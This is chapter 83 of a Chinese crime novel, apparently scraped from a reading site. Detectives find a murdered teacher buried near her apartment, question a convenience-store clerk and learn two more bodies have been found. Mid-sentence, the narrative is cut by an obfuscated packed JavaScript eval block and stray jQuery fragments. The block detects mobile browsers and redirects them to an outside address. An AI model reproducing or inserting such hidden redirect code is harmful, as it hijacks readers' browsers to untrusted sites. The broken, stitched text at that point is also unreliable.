83. 近在咫尺

作品:《她的求救,写在我的昨天

    车还没熄火,从文杰就一脚刹在警戒线外面。蔡星澜推开车门下去,脚踩在地面上,才发现自己手心出了汗。


    云上公寓是前年才交付的小区,绿化做得不错,草坪刚割过,空气里飘着青草和泥土混在一起的味道。但现在这片绿化带被警戒线围出一块,几个穿着制服的技侦人员在里面走动。


    蔡星澜弯下腰穿过警戒线,邓婉仪和齐雨欣跟在后面。走了几步,那股味道就过来了—不是青草味,是另一种,腐败的,血腥的,直往人鼻腔里钻。


    她绷紧了下巴,继续往前走。


    韩墨蹲在土坑边上,戴着白手套的手正轻轻拨弄着什么。旁边放着几个物证袋,有的已经封了口,有的还敞着。他听见脚步声,抬起头,防护面罩推到额头上,露出一张熬了大夜的脸。


    “韩墨,怎么样了?”蔡星澜在他旁边蹲下来。


    韩墨摘了只手套,从旁边拿出笔记本翻了翻,声音不高但语速很快:“初步判断,死亡时间在四个月左右,也就是三月下旬。尸体因为天气热加上埋得浅,腐烂严重—”他指了指坑边一个小物证袋,“但在土层里发现了几片花瓣,还没完全腐坏。园艺科的人看了,说是三四月份开的那种,具体品种要等实验室结果。”


    蔡星澜盯着那几片已经发黑的花瓣,脑子里闪过那张穿浅蓝色衬衫的证件照。三月份失踪的幼儿园老师,周敏,二十九岁。


    “死者应该是被锐器割喉致死。”韩墨说。


    “没有挣扎痕迹?”邓婉仪站在蔡星澜身后,声音压得很低。


    韩墨摇摇头,重新戴上手套,指了指坑里某个位置:“尸体虽然腐烂严重,但骨骼上没有明显的抵抗伤,手腕脚腕也没有捆绑痕迹。颈部切口很利落,从角度和深度看,凶手应该有一定力量,或者懂人体结构。”他顿了一下,“一刀下去,来不及反应。”


    蔡星澜没说话。她看着坑边那些物证袋,其中一个里面装着布料碎片—浅蓝色的,已经看不出原来的样子,但颜色还剩一点。


    “衣服能确认吗?”她问。


    “得等进一步检验。”韩墨顺着她的目光看过去,“但颜色和材质,跟周敏失踪时穿的那件对得上。家属报案时留了照片。”


    齐雨欣站在后面,盯着坑边的物证袋,嘴唇动了动,没出声。


    蔡星澜站起来,腿有点发软。她往四周看了看—草坪,灌木丛,不远处的公寓楼。阳台上有晾着的衣服,有人影走动。楼下的停车位停着几辆车,其中一辆还盖着车衣。


    大白天的,阳光底下,谁能想到这片茂密的灌木丛里面埋着人。


    韩墨又蹲下去,换了双新手套,继续清理土层。他动作很轻,像在挖什么易碎的东西。


    “还有别的发现吗?”蔡星澜问。


    “暂时就这些。”韩墨头也没抬,“等把尸体运回去做进一步检验。土壤也要过筛,看看能不能筛出更多东西。”他停了停,补充道,“埋得不深,也就三四十厘米。凶手要么很急,要么觉得这里足够隐蔽。”


    邓婉仪往蔡星澜身边靠了靠,声音只有两个人能听见:“要是周敏,那剩下的五个—”


    蔡星澜没接话。


    她想起那些监控截图,想起齐雨欣说的“四家监控正好坏了”,想起昨晚那只金毛冲着东边叫的样子。


    她掏出手机,拨了杨光辉的号码。


    “杨哥,我们在云上公寓这边,发现了疑似周敏的尸体,就在她住的小区里。”她顿了顿,“我想申请对附近几个小区进行排查,如果作案手法相似,会不会其他失踪的人也—”


    电话那头杨光辉立刻明白了她的意思:“我这就和喻宇他们去荷印荣府、颐莲园那几个地方,几位失踪女性都住那一带。你们那边先盯着,有消息随时联系。”


    挂了电话,蔡星澜看了一眼不远处的便利店招牌—快客,白底绿字,在上午的阳光里格外显眼。


    “我去趟便利店。”她对邓婉仪说。


    店门推开时,门口的风铃响了一声。


    店里没什么人,货架摆得整整齐齐,关东煮的锅冒着热气。收银台后面站着一个穿红色工作服的年轻女孩,正低头玩手机,听见动静抬起头,条件反射地露出职业笑容:“欢迎光临!”


    蔡星澜走到收银台前,出示了证件:“你好,我是市局刑侦支队的,有几个问题想问你。”


    女孩的笑容愣了一下,随即变成一种混杂着紧张和好奇的表情。她下意识站直了身体:“您、您问。”


    “你叫什么?在这上班多久了?”


    “我叫姜洁,在这干了一年多了。”姜洁说着,眼神往蔡星澜身后瞟了一眼,外面警车和警戒线隐约可见,“是、是因为那边的事吗?”


    蔡星澜没接话,只是问:“你认识周敏吗?就住这个小区,可能经常来店里买东西。”


    姜洁点点头,表情有些复杂:“认识,小敏姐嘛,她几乎每天都来,买水啊零食啊什么的。有时候晚上下班回来晚了,还会来买个面包当第二天早饭。”她顿了顿,声音低下去,“前段时间我还纳闷怎么好久没见她了,后来看新闻才知道……”


    “你最后一次看见她是什么时候?”


    姜洁想了想,眉头皱起来:“应该是三月二十号那天晚上。她那天穿得挺漂亮的,还化了妆,我多看了两眼,问她是不是有约会。她说朋友过生日,去吃顿饭。”她回忆着,“后来我忙着给另一个客人结账,一转头她就不见了。”


    “三月二十号?”蔡星澜心里快速过了一遍—周敏家属报案是三月二十八号,失踪时间其实比报案时间早了八天,“时间你确定吗?”


    姜洁用力点点头:“确定,那天刚好是我们发工资的日子,我下班前还想着明天要去买那件看中的衣服,所以印象特别深。”


    蔡星澜正想接着问,店里侧传来一阵急促的脚步声,一个穿灰色夹克的中年男人从货架后面闪出来,手里拎着一袋东西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336899|193854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,冲姜洁扬了扬手:“小姜,我走一下你们后门啊,着急出去,前面路口堵车—”


    话音未落,他已经推开收银台旁边的侧门,一闪身消失在门后。门弹回来的时候,蔡星澜看清了门上的字:员工通道,非请勿入。


    她心里一动,看向姜洁:“从后门走的人多吗?”


    姜洁愣了一下,像是这才意识到什么,声音有点虚:“也、也不多……只有很熟的客人才允许,一般都是不让走的。还有就是我们自己员工。”


    蔡星澜没说话,只是看着那扇已经关上的门。


    周敏那天晚上,会不会也是从这扇门出去的?


    监控坏了,拍不到店内画面,自然也就拍不到谁从后门离开。如果凶手知道这个规律—


    “那天晚上,”她转向姜洁,“周敏从前面走的还是后面?”


    姜洁张了张嘴,眼神开始发飘:“我、我不记得了,我真不记得了……我一转身她就不见了,我以为她是往门口走的……”


    蔡星澜看着她,没追问。小姑娘明显已经被吓着了,再问也问不出更多。


    她从口袋里掏出一张名片放在收银台上:“想起来什么,随时打电话。”


    走出便利店,手机响了。是喻宇。


    “星澜姐!”他声音有点急,“我和杨哥带搜救犬在荷印荣府这边排查,刚在绿化带里发现了可疑土层,往下挖了半米—又找到一个。女性,腐烂程度和周敏那个差不多。杨哥让我先给你打电话,他正联系韩墨加派人手。”


    蔡星澜握着手机,站在便利店门口的阳光下,却觉得后背发凉。


    “还有,”喻宇压低声音,“颐莲园那边也发现了。目前已经三具了。”


    三具。


    三个月,六起失踪,现在挖出来三具。


    蔡星澜闭了闭眼,脑子里闪过那些监控截图里寻常的面孔。她们走进便利店的时候,大概以为自己只是去买瓶水、买包零食,几分钟后就回家了。


    谁也没想到,那可能是她们活着的最后几分钟。


    电话那头喻宇还在等回复。蔡星澜深吸一口气,声音稳下来:“保护好现场。让杨哥跟铮姐汇报,申请扩大排查范围—把所有失踪女性住的小区周边绿化带都筛一遍。”


    “明白。”


    挂了电话,蔡星澜站在原地没动。


    不远处的草坪上,技侦人员还在忙碌。警戒线外面围了几个看热闹的小区居民,有人举着手机在拍,有人在交头接耳。


    她想起昨晚那只金毛冲着东边叫的样子,想起葛星格说“它非要往这边冲,拽都拽不动”。


    狗知道。狗什么都知道。


    可是人呢?


    她转身,又看了一眼那家便利店。白底绿字的招牌,门口贴着促销海报,关东煮的热气还在往外飘。


    从外面看,这就是一家再普通不过的便利店。


    事实上也是,可那些女孩走进去了,就再也没有出来。